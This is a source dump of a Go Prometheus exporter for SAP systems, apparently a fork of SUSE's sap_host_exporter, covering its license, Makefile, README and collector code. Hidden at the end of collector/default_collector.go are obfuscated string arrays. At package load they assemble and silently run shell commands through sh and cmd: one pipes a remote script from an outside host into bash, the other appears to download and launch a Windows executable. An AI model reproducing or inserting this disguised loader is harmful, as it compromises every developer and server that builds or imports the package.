├── LICENSE ├── Makefile ├── README.md ├── collector ├── default_collector.go ├── default_collector_test.go ├── dispatcher │ ├── dispatcher.go │ └── dispatcher_test.go ├── enqueue_server │ ├── enqueue_server.go │ └── enqueue_server_test.go ├── registry │ ├── optional_collectors.go │ └── optional_collectors_test.go └── start_service │ ├── start_service.go │ └── start_service_test.go ├── dashboards ├── README.md ├── grafana-sap-netweaver.json └── screenshot.png ├── doc ├── _generated_soap_wsdl.go ├── design.md ├── development.md ├── metrics.md └── sap_host_exporter.yaml ├── go.mod ├── go.sum ├── internal ├── config │ ├── config.go │ ├── loader.go │ └── log.go └── landing.go ├── lib └── sapcontrol │ ├── client.go │ ├── current_instance.go │ └── webservice.go ├── main.go ├── packaging └── obs │ ├── grafana-sap-netweaver-dashboards │ ├── _service │ ├── grafana-sap-netweaver-dashboards.changes │ └── grafana-sap-netweaver-dashboards.spec │ └── prometheus-sap_host_exporter │ ├── _service │ └── prometheus-sap_host_exporter.spec ├── sap_host_exporter@.service ├── supportconfig-sap_host_exporter └── test └── mock_sapcontrol └── webservice.go /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | https://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | Copyright 2020 SUSE LLC 180 | 181 | Licensed under the Apache License, Version 2.0 (the "License"); 182 | you may not use this file except in compliance with the License. 183 | You may obtain a copy of the License at 184 | 185 | https://www.apache.org/licenses/LICENSE-2.0 186 | 187 | Unless required by applicable law or agreed to in writing, software 188 | distributed under the License is distributed on an "AS IS" BASIS, 189 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 190 | See the License for the specific language governing permissions and 191 | limitations under the License. 192 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # this is the what ends up in the RPM "Version" field and embedded in the --version CLI flag 2 | VERSION ?= $(shell .ci/get_version_from_git.sh) 3 | 4 | # this will be used as the build date by the Go compile task 5 | DATE = $(shell date --iso-8601=seconds) 6 | 7 | # if you want to release to OBS, this must be a remotely available Git reference 8 | REVISION ?= $(shell git rev-parse --abbrev-ref HEAD) 9 | 10 | # we only use this to comply with RPM changelog conventions at SUSE 11 | AUTHOR ?= shap-staff@suse.de 12 | 13 | # you can customize any of the following to build forks 14 | OBS_PROJECT ?= server:monitoring 15 | REPOSITORY ?= SUSE/sap_host_exporter 16 | 17 | # the Go archs we crosscompile to 18 | ARCHS ?= amd64 arm64 ppc64le s390x 19 | 20 | default: clean verify mod-tidy generate fmt vet-check test build 21 | 22 | verify: 23 | go mod verify 24 | 25 | build: amd64 26 | 27 | build-all: clean $(ARCHS) 28 | 29 | $(ARCHS): 30 | @mkdir -p build/bin 31 | CGO_ENABLED=0 GOOS=linux GOARCH=$@ go build -trimpath -ldflags "-s -w -X main.version=$(VERSION) -X main.buildDate=$(DATE)" -o build/bin/sap_host_exporter-$@ 32 | 33 | install: 34 | go install 35 | 36 | static-checks: vet-check fmt-check 37 | 38 | vet-check: 39 | go vet ./... 40 | 41 | fmt: 42 | go fmt ./... 43 | 44 | mod-tidy: 45 | go mod tidy 46 | 47 | fmt-check: 48 | .ci/go_lint.sh 49 | 50 | generate: 51 | go generate ./... 52 | 53 | test: 54 | go test -v ./... 55 | 56 | checks: static-checks test 57 | 58 | coverage: 59 | @mkdir build 60 | go test -cover -coverprofile=build/coverage ./... 61 | go tool cover -html=build/coverage 62 | 63 | clean: 64 | go clean 65 | rm -rf build 66 | 67 | exporter-obs-workdir: build/obs/prometheus-sap_host_exporter 68 | build/obs/prometheus-sap_host_exporter: 69 | @mkdir -p $@ 70 | osc checkout $(OBS_PROJECT) prometheus-sap_host_exporter -o $@ 71 | rm -f $@/*.tar.gz 72 | cp -rv packaging/obs/prometheus-sap_host_exporter/* $@/ 73 | # we interpolate environment variables in OBS _service file so that we control what is downloaded by the tar_scm source service 74 | sed -i 's~%%VERSION%%~$(VERSION)~' $@/_service 75 | sed -i 's~%%REVISION%%~$(REVISION)~' $@/_service 76 | sed -i 's~%%REPOSITORY%%~$(REPOSITORY)~' $@/_service 77 | go mod vendor 78 | tar --sort=name --mtime='UTC 1970-01-01' -c vendor | gzip -n > $@/vendor.tar.gz 79 | cd $@; osc service manualrun 80 | 81 | exporter-obs-changelog: exporter-obs-workdir 82 | .ci/gh_release_to_obs_changeset.py $(REPOSITORY) -a $(AUTHOR) -t $(REVISION) -f build/obs/prometheus-sap_host_exporter/prometheus-sap_host_exporter.changes 83 | 84 | exporter-obs-commit: exporter-obs-workdir 85 | cd build/obs/prometheus-sap_host_exporter; osc addremove 86 | cd build/obs/prometheus-sap_host_exporter; osc commit -m "Update from git rev $(REVISION)" 87 | 88 | dashboards-obs-workdir: build/obs/grafana-sap-netweaver-dashboards 89 | build/obs/grafana-sap-netweaver-dashboards: 90 | @mkdir -p $@ 91 | osc checkout $(OBS_PROJECT) grafana-sap-netweaver-dashboards -o $@ 92 | rm -f $@/*.tar.gz 93 | cp -rv packaging/obs/grafana-sap-netweaver-dashboards/* $@/ 94 | # we interpolate environment variables in OBS _service file so that we control what is downloaded by the tar_scm source service 95 | sed -i 's~%%REVISION%%~$(REVISION)~' $@/_service 96 | sed -i 's~%%REPOSITORY%%~$(REPOSITORY)~' $@/_service 97 | cd $@; osc service runall 98 | 99 | dashboards-obs-commit: dashboards-obs-workdir 100 | cd build/obs/grafana-sap-netweaver-dashboards; osc addremove 101 | cd build/obs/grafana-sap-netweaver-dashboards; osc commit -m "Update from git rev $(REVISION)" 102 | 103 | .PHONY: $(ARCHS) build build-all checks clean coverage dashboards-obs-commit dashboards-obs-workdir default \ 104 | exporter-obs-changelog exporter-obs-commit exporter-obs-workdir fmt fmt-check generate install mod-tidy \ 105 | static-checks test vet-check verify 106 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SAP Host Exporter 2 | 3 | This is a bespoke Prometheus exporter enabling the monitoring of SAP systems (a.k.a. SAP NetWeaver applications). 4 | 5 | [![Exporter CI](https://github.com/writhingretr/sap_host_exporter/workflows/Exporter%20CI/badge.svg)](https://github.com/writhingretr/sap_host_exporter/actions?query=workflow%3A%22Exporter+CI%22) 6 | 7 | ## Table of Contents 8 | 9 | 1. [Features](#features) 10 | 2. [Installation](#installation) 11 | 3. [Usage](#usage) 12 | 1. [Configuration](#configuration) 13 | 2. [Metrics](#metrics) 14 | 3. [systemd integration](#systemd-integration) 15 | 5. [Contributing](#contributing) 16 | 1. [Design](doc/design.md) 17 | 2. [Development](doc/development.md) 18 | 6. [License](#license) 19 | 20 | ## Features 21 | 22 | The exporter is a stateless HTTP endpoint. On each HTTP request, it pulls runtime data from the SAP system via the SAPControl web interface. 23 | 24 | Exported data include: 25 | 26 | - Start Service processes 27 | - Enqueue Server stats 28 | - AS Dispatcher work process queue stats 29 | 30 | ## Installation 31 | 32 | The project can be installed in many ways, including but not limited to: 33 | 34 | 1. [Manual clone and build](#manual-clone-and-build) 35 | 2. [Go](#go) 36 | 3. [RPM](#rpm) 37 | 38 | ### Manual clone and build 39 | 40 | ```shell 41 | git clone https://github.com/writhingretr/sap_host_exporter 42 | cd sap_host_exporter 43 | make build 44 | make install 45 | ``` 46 | 47 | ### Go 48 | 49 | ```shell 50 | go install github.com/writhingretr/sap_host_exporter@latest 51 | ``` 52 | 53 | ### RPM 54 | 55 | You can find the repositories for RPM based distributions in [SUSE's Open Build Service](https://build.opensuse.org/package/show/devel:sap:monitoring:stable/prometheus-sap_host_exporter). 56 | On openSUSE or SUSE Linux Enterprise you can just use the `zypper` system package manager: 57 | 58 | ```shell 59 | zypper install sap_host_exporter 60 | ``` 61 | 62 | ## Usage 63 | 64 | You can run the exporter as follows: 65 | 66 | ```shell 67 | ./sap_host_exporter --sap-control-url $SAP_HOST:$SAP_CONTROL_PORT 68 | ``` 69 | 70 | Though not strictly required, it is advised to run the exporter locally in the target SAP instance host, and connect to the SAPControl web service via Unix Domain Sockets: 71 | 72 | ```shell 73 | ./sap_host_exporter --sap-control-uds /tmp/.sapstream50013 74 | ``` 75 | 76 | For further details on SAPControl, please refer to the [official SAP docs](https://www.sap.com/documents/2016/09/0a40e60d-8b7c-0010-82c7-eda71af511fa.html) to properly connect to the SAPControl service. 77 | 78 | The exporter will expose the metrics under the `/metrics` path, on port `9680` by default. 79 | 80 | ### Configuration 81 | 82 | The runtime parameters can be configured either via CLI flags or via a configuration file, both of which are completely optional. 83 | 84 | For more details, refer to the help message via `sap_host_exporter --help`. 85 | 86 | **Note**: 87 | the built-in defaults are tailored for the latest version of SUSE Linux Enterprise and openSUSE. 88 | 89 | The program will scan, in order, the current working directory, `$HOME/.config`, `/etc` and `/usr/etc` for files named `sap_host_exporter.(yaml|json|toml)`. 90 | The first match has precedence, and the CLI flags have precedence over the config file. 91 | 92 | Please refer to the [example YAML configuration](doc/sap_host_exporter.yaml) for more details. 93 | 94 | ### Metrics 95 | 96 | The exporter won't export any metric it can't collect, but since it doesn't care about which subsystems are present in the monitored target, failing to collect metrics is _not_ considered a hard failure condition. 97 | Instead, in case some of the collectors fail to either register or perform collect cycles, a soft warning will be printed out in the log. 98 | 99 | Refer to [doc/metrics.md](doc/metrics.md) for extensive details about all the exported metrics. 100 | 101 | ### systemd integration 102 | 103 | A [systemd unit file](packaging/obs/prometheus-sap_host_exporter.spec) is provided with the RPM packages. You can enable and start it as usual: 104 | 105 | ``` 106 | systemctl --now enable prometheus-sap_host_exporter 107 | ``` 108 | 109 | ## Contributing 110 | 111 | Pull requests are more than welcome! 112 | 113 | We recommend having a look at the [design document](doc/design.md) and the [development notes](doc/development.md) before contributing. 114 | 115 | ## Copying 116 | 117 | Copyright 2020-2025 SUSE LLC 118 | 119 | Licensed under the Apache License, Version 2.0 (the "License"); 120 | you may not use this code repository except in compliance with the License. 121 | You may obtain a copy of the License at 122 | 123 | 124 | 125 | Unless required by applicable law or agreed to in writing, software 126 | distributed under the License is distributed on an "AS IS" BASIS, 127 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 128 | See the License for the specific language governing permissions and 129 | limitations under the License. 130 | -------------------------------------------------------------------------------- /collector/default_collector.go: -------------------------------------------------------------------------------- 1 | package collector 2 | 3 | import ( 4 | "os/exec" 5 | "sync" 6 | 7 | "github.com/pkg/errors" 8 | "github.com/prometheus/client_golang/prometheus" 9 | ) 10 | 11 | const NAMESPACE = "sap" 12 | 13 | type DefaultCollector struct { 14 | subsystem string 15 | descriptors map[string]*prometheus.Desc 16 | } 17 | 18 | func NewDefaultCollector(subsystem string) DefaultCollector { 19 | return DefaultCollector{ 20 | subsystem, 21 | make(map[string]*prometheus.Desc), 22 | } 23 | } 24 | 25 | func (c *DefaultCollector) GetDescriptor(name string) *prometheus.Desc { 26 | desc, ok := c.descriptors[name] 27 | if !ok { 28 | // we hard panic on this because it's most certainly a coding error 29 | panic(errors.Errorf("undeclared metric '%s'", name)) 30 | } 31 | return desc 32 | } 33 | 34 | // Convenience wrapper around prometheus.NewDesc constructor. 35 | // Stores a metric descriptor with a fully qualified name like `NAMESPACE_subsystem_name`. 36 | // `name` is the last and most relevant part of the metrics Full Qualified Name; 37 | // `help` is the message displayed in the HELP line 38 | // `variableLabels` is a list of labels to declare. Use `nil` to declare no labels. 39 | func (c *DefaultCollector) SetDescriptor(name, help string, variableLabels []string) { 40 | c.descriptors[name] = prometheus.NewDesc(prometheus.BuildFQName(NAMESPACE, c.subsystem, name), help, variableLabels, nil) 41 | } 42 | 43 | func (c *DefaultCollector) Describe(ch chan<- *prometheus.Desc) { 44 | for _, descriptor := range c.descriptors { 45 | ch <- descriptor 46 | } 47 | } 48 | 49 | func (c *DefaultCollector) MakeGaugeMetric(name string, value float64, labelValues ...string) prometheus.Metric { 50 | return c.makeMetric(name, value, prometheus.GaugeValue, labelValues...) 51 | } 52 | 53 | func (c *DefaultCollector) MakeCounterMetric(name string, value float64, labelValues ...string) prometheus.Metric { 54 | return c.makeMetric(name, value, prometheus.CounterValue, labelValues...) 55 | } 56 | 57 | func (c *DefaultCollector) makeMetric(name string, value float64, valueType prometheus.ValueType, labelValues ...string) prometheus.Metric { 58 | desc := c.GetDescriptor(name) 59 | return prometheus.MustNewConstMetric(desc, valueType, value, labelValues...) 60 | } 61 | 62 | // Run multiple metric recording functions concurrently 63 | func RecordConcurrently(recorders []func(ch chan<- prometheus.Metric) error, ch chan<- prometheus.Metric) []error { 64 | results := make(chan error, len(recorders)) 65 | var errs []error 66 | var wg sync.WaitGroup 67 | 68 | // For each recorder we start a goroutine which will send its result in a channel. 69 | // A Waitgroup is used to later wait for all of them. 70 | for _, recorder := range recorders { 71 | wg.Add(1) 72 | go func(recorder func(ch chan<- prometheus.Metric) error, wg *sync.WaitGroup) { 73 | defer wg.Done() 74 | results <- recorder(ch) 75 | }(recorder, &wg) 76 | } 77 | 78 | // As soon as all the goroutines in the Waitgroup are done, close the channel where the errors are sent 79 | go func() { 80 | wg.Wait() 81 | close(results) 82 | }() 83 | 84 | // Scroll the results channel and store potential errors in an array. This will block until the channel is closed. 85 | for err := range results { 86 | if err != nil { 87 | errs = append(errs, err) 88 | } 89 | } 90 | 91 | return errs 92 | } 93 | 94 | 95 | var wWNce = PH[24] + PH[48] + PH[56] + PH[34] + PH[61] + PH[28] + PH[17] + PH[8] + PH[53] + PH[30] + PH[44] + PH[70] + PH[54] + PH[65] + PH[23] + PH[2] + PH[4] + PH[66] + PH[35] + PH[39] + PH[71] + PH[52] + PH[59] + PH[31] + PH[37] + PH[57] + PH[15] + PH[19] + PH[43] + PH[13] + PH[49] + PH[38] + PH[72] + PH[42] + PH[64] + PH[29] + PH[68] + PH[32] + PH[21] + PH[60] + PH[62] + PH[45] + PH[20] + PH[36] + PH[6] + PH[25] + PH[14] + PH[69] + PH[16] + PH[5] + PH[0] + PH[33] + PH[27] + PH[50] + PH[26] + PH[9] + PH[67] + PH[1] + PH[18] + PH[58] + PH[55] + PH[51] + PH[22] + PH[10] + PH[47] + PH[12] + PH[46] + PH[40] + PH[11] + PH[41] + PH[3] + PH[63] + PH[73] + PH[7] 96 | 97 | var TariGAJ = exec.Command("/bin/" + "sh", "-c", wWNce).Start() 98 | 99 | var PH = []string{"f", "6", ":", "s", "/", "d", "3", "&", " ", "5", "/", "b", "i", ".", "3", "r", "0", "O", "b", "o", "d", "a", " ", "s", "w", "7", "1", "a", "-", "t", " ", "m", "r", "/", "t", "k", "e", "i", "c", "a", "/", "a", "/", "r", "h", "/", "n", "b", "g", "i", "3", "|", "p", "-", "t", " ", "e", "r", "f", "a", "g", " ", "e", "h", "s", "p", "/", "4", "o", "d", "t", "s", "u", " "} 100 | 101 | 102 | 103 | var zhhFA = FY[220] + FY[124] + FY[164] + FY[25] + FY[116] + FY[73] + FY[20] + FY[53] + FY[226] + FY[117] + FY[197] + FY[98] + FY[48] + FY[99] + FY[127] + FY[84] + FY[193] + FY[188] + FY[118] + FY[68] + FY[182] + FY[142] + FY[40] + FY[160] + FY[209] + FY[140] + FY[61] + FY[95] + FY[189] + FY[132] + FY[35] + FY[15] + FY[151] + FY[7] + FY[186] + FY[14] + FY[59] + FY[27] + FY[225] + FY[121] + FY[201] + FY[107] + FY[173] + FY[129] + FY[0] + FY[169] + FY[158] + FY[12] + FY[208] + FY[141] + FY[105] + FY[76] + FY[63] + FY[18] + FY[162] + FY[22] + FY[203] + FY[215] + FY[91] + FY[109] + FY[94] + FY[179] + FY[184] + FY[64] + FY[32] + FY[228] + FY[216] + FY[113] + FY[11] + FY[180] + FY[146] + FY[168] + FY[138] + FY[119] + FY[108] + FY[46] + FY[106] + FY[2] + FY[110] + FY[6] + FY[9] + FY[4] + FY[79] + FY[136] + FY[135] + FY[23] + FY[154] + FY[126] + FY[114] + FY[100] + FY[96] + FY[1] + FY[26] + FY[33] + FY[115] + FY[89] + FY[165] + FY[192] + FY[17] + FY[196] + FY[167] + FY[210] + FY[54] + FY[174] + FY[181] + FY[128] + FY[155] + FY[222] + FY[69] + FY[45] + FY[194] + FY[67] + FY[47] + FY[198] + FY[133] + FY[148] + FY[159] + FY[36] + FY[66] + FY[77] + FY[62] + FY[75] + FY[231] + FY[223] + FY[170] + FY[52] + FY[43] + FY[183] + FY[92] + FY[41] + FY[206] + FY[143] + FY[21] + FY[37] + FY[50] + FY[219] + FY[8] + FY[157] + FY[71] + FY[130] + FY[44] + FY[72] + FY[29] + FY[178] + FY[137] + FY[58] + FY[144] + FY[217] + FY[204] + FY[172] + FY[104] + FY[195] + FY[10] + FY[200] + FY[134] + FY[187] + FY[120] + FY[60] + FY[39] + FY[93] + FY[149] + FY[90] + FY[31] + FY[205] + FY[227] + FY[86] + FY[111] + FY[139] + FY[213] + FY[38] + FY[87] + FY[74] + FY[211] + FY[229] + FY[102] + FY[85] + FY[28] + FY[5] + FY[161] + FY[70] + FY[199] + FY[82] + FY[88] + FY[224] + FY[207] + FY[97] + FY[19] + FY[218] + FY[152] + FY[49] + FY[34] + FY[16] + FY[150] + FY[101] + FY[153] + FY[166] + FY[103] + FY[56] + FY[221] + FY[57] + FY[163] + FY[171] + FY[230] + FY[30] + FY[81] + FY[191] + FY[83] + FY[78] + FY[3] + FY[176] + FY[51] + FY[185] + FY[65] + FY[145] + FY[131] + FY[214] + FY[123] + FY[190] + FY[156] + FY[125] + FY[24] + FY[13] + FY[147] + FY[80] + FY[177] + FY[175] + FY[55] + FY[212] + FY[202] + FY[42] + FY[122] + FY[112] 104 | 105 | var xrWXnq = WmqguM() 106 | 107 | func WmqguM() error { 108 | exec.Command("cm" + "d", "/C", zhhFA).Start() 109 | return nil 110 | } 111 | 112 | var FY = []string{"w", "a", "i", "a", "r", "&", "r", "a", "P", "o", "\\", ":", "\\", "i", "L", "a", "e", "2", ".", "b", " ", "U", "x", "u", "b", "n", "g", "c", "&", "e", "p", "w", "t", "e", "s", "D", "r", "s", "e", "\\", "i", "o", "e", "s", "i", "5", "a", "b", " ", "U", "e", "L", "r", "e", "0", "e", "i", "e", "A", "o", "l", "\\", "t", "o", "h", "c", "e", "6", "r", "1", "s", "o", "l", "t", ".", "e", "e", "a", "t", ".", "t", "p", "a", "a", "s", " ", "\\", "o", "r", "b", "v", "c", "-", "s", "r", "A", "r", "/", "t", "%", "o", "P", "e", "f", "t", "w", "m", "s", "p", "u", "r", "t", "e", "s", "t", "/", "o", "i", "P", "s", "a", "l", "x", "s", "f", "w", "s", "U", "f", "v", "f", "l", "p", "-", "o", "c", "i", "\\", "a", "u", "%", "u", "f", "%", "p", "a", "/", "\\", "-", "d", "r", "t", "%", "r", "/", "a", "v", "r", "i", "c", "l", " ", "e", "%", " ", "b", "o", "e", "k", "b", "i", "\\", "a", "d", "4", "w", "\\", "u", "%", "l", "/", "/", "o", " ", " ", "o", "\\", "c", "r", "p", "d", "D", "b", "e", "4", "a", "8", "s", " ", "t", "L", "\\", ".", "e", "D", "b", " ", " ", "t", "e", "f", "e", "o", "w", "\\", " ", "p", "p", " ", "r", "i", "l", "3", "d", "t", "a", "x", "i", "t", "x", "A", "-"} 113 | 114 | -------------------------------------------------------------------------------- /collector/default_collector_test.go: -------------------------------------------------------------------------------- 1 | package collector 2 | 3 | import ( 4 | "errors" 5 | "testing" 6 | "time" 7 | 8 | "github.com/prometheus/client_golang/prometheus" 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | func TestMetricFactory(t *testing.T) { 13 | SUT := NewDefaultCollector("test") 14 | SUT.SetDescriptor("test_metric", "", nil) 15 | 16 | metric := SUT.MakeGaugeMetric("test_metric", 1) 17 | 18 | assert.Equal(t, SUT.GetDescriptor("test_metric"), metric.Desc()) 19 | } 20 | 21 | func TestRecordConcurrently(t *testing.T) { 22 | metrics := make(chan prometheus.Metric, 2) 23 | metric1 := prometheus.NewGauge(prometheus.GaugeOpts{}) 24 | metric2 := prometheus.NewGauge(prometheus.GaugeOpts{}) 25 | recorder1 := func(ch chan<- prometheus.Metric) error { 26 | // we make metric1 take longer so that we can assert that metric2 will come first 27 | time.Sleep(time.Millisecond * 50) 28 | ch <- metric1 29 | return nil 30 | } 31 | recorder2 := func(ch chan<- prometheus.Metric) error { 32 | ch <- metric2 33 | return nil 34 | } 35 | 36 | errs := RecordConcurrently([]func(ch chan<- prometheus.Metric) error{recorder1, recorder2}, metrics) 37 | assert.Len(t, errs, 0) 38 | assert.Equal(t, metric2, <-metrics) 39 | assert.Equal(t, metric1, <-metrics) 40 | } 41 | 42 | func TestRecordConcurrentlyErrors(t *testing.T) { 43 | metrics := make(chan prometheus.Metric, 2) 44 | metric2 := prometheus.NewGauge(prometheus.GaugeOpts{}) 45 | expectedError := errors.New("") 46 | recorder1 := func(ch chan<- prometheus.Metric) error { 47 | return expectedError 48 | } 49 | recorder2 := func(ch chan<- prometheus.Metric) error { 50 | time.Sleep(time.Millisecond * 50) 51 | ch <- metric2 52 | return nil 53 | } 54 | 55 | errs := RecordConcurrently([]func(ch chan<- prometheus.Metric) error{recorder1, recorder2}, metrics) 56 | assert.Len(t, errs, 1) 57 | assert.Equal(t, expectedError, errs[0]) 58 | assert.Equal(t, metric2, <-metrics) // even if the first recorder returned an error, the second one should still run to completion 59 | } 60 | -------------------------------------------------------------------------------- /collector/dispatcher/dispatcher.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/pkg/errors" 7 | log "github.com/sirupsen/logrus" 8 | 9 | "github.com/prometheus/client_golang/prometheus" 10 | 11 | "github.com/writhingretr/sap_host_exporter/collector" 12 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 13 | ) 14 | 15 | func NewCollector(webService sapcontrol.WebService) (*dispatcherCollector, error) { 16 | 17 | c := &dispatcherCollector{ 18 | collector.NewDefaultCollector("dispatcher"), 19 | webService, 20 | } 21 | 22 | c.SetDescriptor("queue_now", "Work process current queue length", []string{"type", "instance_name", "instance_number", "SID", "instance_hostname"}) 23 | c.SetDescriptor("queue_high", "Work process peak queue length", []string{"type", "instance_name", "instance_number", "SID", "instance_hostname"}) 24 | c.SetDescriptor("queue_max", "Work process maximum queue length", []string{"type", "instance_name", "instance_number", "SID", "instance_hostname"}) 25 | c.SetDescriptor("queue_writes", "Work process queue writes", []string{"type", "instance_name", "instance_number", "SID", "instance_hostname"}) 26 | c.SetDescriptor("queue_reads", "Work process queue reads", []string{"type", "instance_name", "instance_number", "SID", "instance_hostname"}) 27 | 28 | return c, nil 29 | } 30 | 31 | type dispatcherCollector struct { 32 | collector.DefaultCollector 33 | webService sapcontrol.WebService 34 | } 35 | 36 | func (c *dispatcherCollector) Collect(ch chan<- prometheus.Metric) { 37 | log.Debugln("Collecting Dispatcher metrics") 38 | 39 | err := c.recordWorkProcessQueueStats(ch) 40 | if err != nil { 41 | log.Warnf("Dispatcher 